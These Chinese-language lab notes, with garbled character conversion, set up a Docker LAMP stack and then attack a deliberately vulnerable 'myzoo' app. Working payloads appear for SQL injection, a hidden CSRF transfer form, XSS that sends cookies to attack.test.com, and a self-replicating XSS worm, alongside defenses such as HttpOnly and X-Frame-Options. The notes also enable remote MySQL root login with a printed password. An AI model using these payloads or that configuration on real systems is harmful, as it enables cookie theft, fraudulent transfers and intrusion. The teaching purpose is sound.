docker安裝lamp環境(該docker:lincode ubuntu14.04,php5.5,mysql,約372mb):javascript
docker search lamp # 選擇lincode下載 下載速度較快 穩定 docker pull linode/lamp #鏡像端口、名稱、文件夾映射均可以配置,一經配置,修改比較麻煩,建議一次配好 docker run -it -p 80:80 -p 3306:3306 -p 443:443 --name lamp linode/lamp /bin/bash # 下載完成看一下配置好的鏡像 docker images #用 docker rmi 鏡像id 能夠刪除
#啓動鏡像 stop/restart sudo docker start lamp #查看運行中的鏡像 docker ps -a #shell進入鏡像 sudo docker exec -it lamp /bin/bash
若是後期須要更新配置:
修改映射關係的一個例子php
#從容器建立一個新的鏡像,可手動刪除源鏡像 sudo docker commit 964f5db616e6 lamp2 #設置該鏡像的配置 sudo docker run -it -p 80:80 -p 3306:3306 -p 443:443 -v /home/muddyway/下載/myzoo:/var/www/example.com/public\_html/myzoo -v /home/muddyway/下載/attack:/var/www/attack.com/public\_html lamp2 /bin/bash
service apache2 start service mysql start # 能夠經過netstat -pant 命令查看80和3306端口有沒有開啓成功
mysql -u root -p #密碼:Admin2015 #修改root可遠程登陸: mysql>use mysql; mysql>update user set host = '%' where user = 'root' and host='127.0.0.1'; #修改密碼: mysql>update user set password=password("your_password") where user='root'; #刷新權限 FLUSH PRIVILEGES;
#檢查獲取源更新 apt update #升級包(可選) apt upgrade apt install -y php5-mysql apt install -y php5-gd #而後重啓apache2: service apache2 restart #再次確認mysql和apache2有沒有安裝成功: netstat -pant #能夠經過下面的命令查看服務器上有哪些php的擴展: apt-cache search php5-\* apt-get remove vim-common apt-get install vim
安裝phpmyadmincss
apt install phpmyadmin #安裝過程當中會要求選擇web server:apache2或lighttpd,按空格選擇apache2,按Tab鍵肯定就行。而後會要求輸入密碼,就是安裝mysql的root密碼。 ln -s /usr/share/phpmyadmin /var/www/html 有的人可能沒有html目錄,就把「/html」去掉就行了。 而後在瀏覽器輸入localhost/phpmyadmin,就能夠看見phpmyadmin的登陸界面了。
若是本身須要瞭解https參考,通常主機商提供免費https證書
配置虛擬主機參考html
創建host映射(這一步不是在docker作的,是配置主機與docker的映射):
attack.com是已經創建好的虛擬主機java
sudo vim /etc/hosts 127.0.0.1 attack.com sudo /etc/init.d/networking restart
開啓apache虛擬主機開關:node
vi /etc/apache2/apache2.conf #修改 HostnameLookups On
若是php須要調試能夠打開錯誤報告開關(而不是顯示500):mysql
/etc/apache2/apache2.conf php_flag display_errors on php_value error_reporting 2039
若是沒有創建docker映射文件夾,須要手動將本身文件拷貝到docker裏apache服務器站點目錄下:web
sudo docker cp /home/muddyway/下載/myzoo/includes/transfer.html 964f5db616e6:/var/www/attack.com/public_html/transfer.html
視頻
須要myzoo php5版本ajax
sql注入演示,在myzoo中的profile中輸入:sql
', Zoobars=100, Profile='hello
查看源碼,發如今處理$profile參數時,沒有進行防止sql注入的相應的過濾。
$sql = "UPDATE Person SET Profile='$profile' ". "WHERE PersonID=$user->id";
123' or 1=1#, 密碼填 123' or 1=1#
css修改,在myzoo中的profile中輸入:
<img src="http://upload-images.jianshu.io/upload_images/688387-7e4ba3815c40a62e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" style="position:relative;top:-59px;right:-70px;width:34px;height:21px"/>
創建攻擊網站(localhost):
https://attack.test.com/trans...
抽獎
#模擬post <form id="form" method=POST name=transferform action="https://bank.test.com/myzoo/transfer.php" > <p>Send <input name=zoobars type=hidden value="1" size=5> zoobars</p> <p>to <input name=recipient type=hidden value="root"></p> <p>to <input name=submission type=submit value="抽獎"></p> </form> #嵌入原頁面 <iframe name="myframe" style="display:true" src="https://bank.test.com/myzoo/transfer.php" ></iframe> #js post提交 <script> function _submit(){ var form = document.getElementById("form"); form["target"]="myframe"; form.submit(); console.log(1); console.log(form); }; _submit(); </script>
防護:
echo $_SERVER['HTTP_REFERER']; if ($_SERVER['HTTP_REFERER'] != "https://bank.test.com/myzoo/transfer.php") { echo "transfer fail"; }else{ echo "transfer pass"; }
使用post方式防護CSRF使用https防護CSRF
user
<a href=javascript:alert(1)>hello</a>
修改 myzoo/user.php源碼
$allowed_tags = '<script><a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' . '<tr><td><th><u><ul><em><span>'; $disallowed = 'eval|setTimeout|setInterval|target|'. 'onAbort|onBlur|onChange|onClick|onDblClick|'. 'onDragDrop|onFocus|onKeyDown|onKeyPress|'. 'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'. 'onMouseOver|onMouseUp|onMove|onReset|onResize|'. 'onSelect|onSubmit|onUnload';
profile user查看(容許打開新窗口)
<img src=x onerror=javascript:window.open(\"https://attack.test.com/transfer.php?cookie=\"+document.cookie) />
修改php
<?php $cookie = $_GET['cookie']; if(isset($cookie)){ echo 'get cookie: '.$cookie; }else{ echo 'not get cookie'; } ?>
防護:
HttpOnly cookie
黑名單、白名單
worm
<span id="hack"> <script> xmlhttp=new XMLHttpRequest(); xmlhttp.open("POST","https://bank.test.com/myzoo/transfer.php",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("zoobars=1&recipient=root&submission=Send"); xmlhttp=new XMLHttpRequest(); xmlhttp.open("POST","https://bank.test.com/myzoo/index.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); str = "<span id=hack>" str += document.getElementById("hack").innerHTML + "</span>"; str = encodeURIComponent(str); str = "profile_submit=Save&profile_update=" + str; xmlhttp.send(str); </script> </span>
https://attack.test.com/click.php
三種隱藏元素方法:
display:none
沒有存在過的痕跡
visibility:hidden
有存在過的痕跡,但不見了,點擊沒有效果
opacity:0
有存在過的痕跡,但不見了,點擊有效果
方法1、後臺防護
X-Frame-Options
DENY:禁止iframe SAMEORIGIN:只容許相同域名下的網頁iframe,同源政策保護 ALLOW-FROM: https://example.com:白名單限制
在transfer.php頁面頭加上,則沒法加載iframe。
header('X-Frame-Options:DENY'); #全部的網頁都不容許加載iframe header('X-Frame-Options:SAMEORIGIN');#同源網頁能夠加載iframe
方法2、js防護
在transfer.php頁面加上,效果是若是外部網頁加載iframe,則重定位到transfer.php頁面。
<style type="text/css"> body{display: none;} </style> <script type="text/javascript"> if (self == top) { var theBody = document.getElementsByTagName('body')[0]; theBody.style.display='block'; }else{ top.location = self.location; } </script>
ajax
速度快、資源少、異步、請求和接收
1.資源未加載
2.open結束
3.發送成功
4.接收中
5.加載資源成功
XSS注入了javascript腳本,這個腳本就能夠經過ajax獲取用戶信息並經過ajax提交給其餘站點
同源策略corsAccess-Control-Allow-Origin: example.com Access-Control-Request-Method: GET, POST Access-Control-Allow-Headers: Content-Type, Authorization, Accept, Range, Origin Access-Control-Expose-Headers: Content-Range Access-Control-Max-Age: 3600